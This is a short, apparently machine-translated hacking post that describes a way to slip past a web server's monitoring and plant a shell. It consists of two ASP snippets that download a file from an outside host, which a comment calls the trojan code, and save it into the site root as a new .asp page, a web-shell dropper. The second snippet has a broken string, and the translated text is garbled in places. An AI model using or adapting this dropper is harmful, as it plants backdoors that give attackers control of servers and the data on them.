Second Method to break through the first-class monitoring system to write shell

There are two methods to break through the first-class monitoring system to write shell (PS: I only know 2)

Another method is to bind images. The second method is introduced.

<%

Set xPost = CreateObject ("Microsoft. XMLHTTP ")

XPost. Open "GET", "http://hi.baidu.com/xahacker/1.txt", False // the address of the Code on the Internet, that is, Dama

XPost. Send ()

Set sGet = CreateObject ("ADODB. Stream ")

SGet. Mode = 3

SGet. Type = 1

SGet. Open ()

SGet. Write (xPost. responseBody)

SGet. SaveToFile Server. MapPath ("test. asp"), 2 // file generated in the root directory

Set sGet = nothing

Set sPOST = nothing

Response. Write ("the object has been downloaded! ")

%>

-------------------------------

------------------------------------------

<%
Set xPost = CreateObject ("Microsoft. XMLHTTP ")
XPost. Open "GET", "http://hi.baidu.com/xahacker/fuck.txt#,false
XPost. Send ()
Set sGet = CreateObject ("ADODB. Stream ")
SGet. Mode = 3
SGet. Type = 1
SGet. Open ()
SGet. Write (xPost. responseBody)
SGet. SaveToFile Server. MapPath ("fuck. asp"), 2
Set sGet = nothing
Set sPOST = nothing
%>

Source: street poet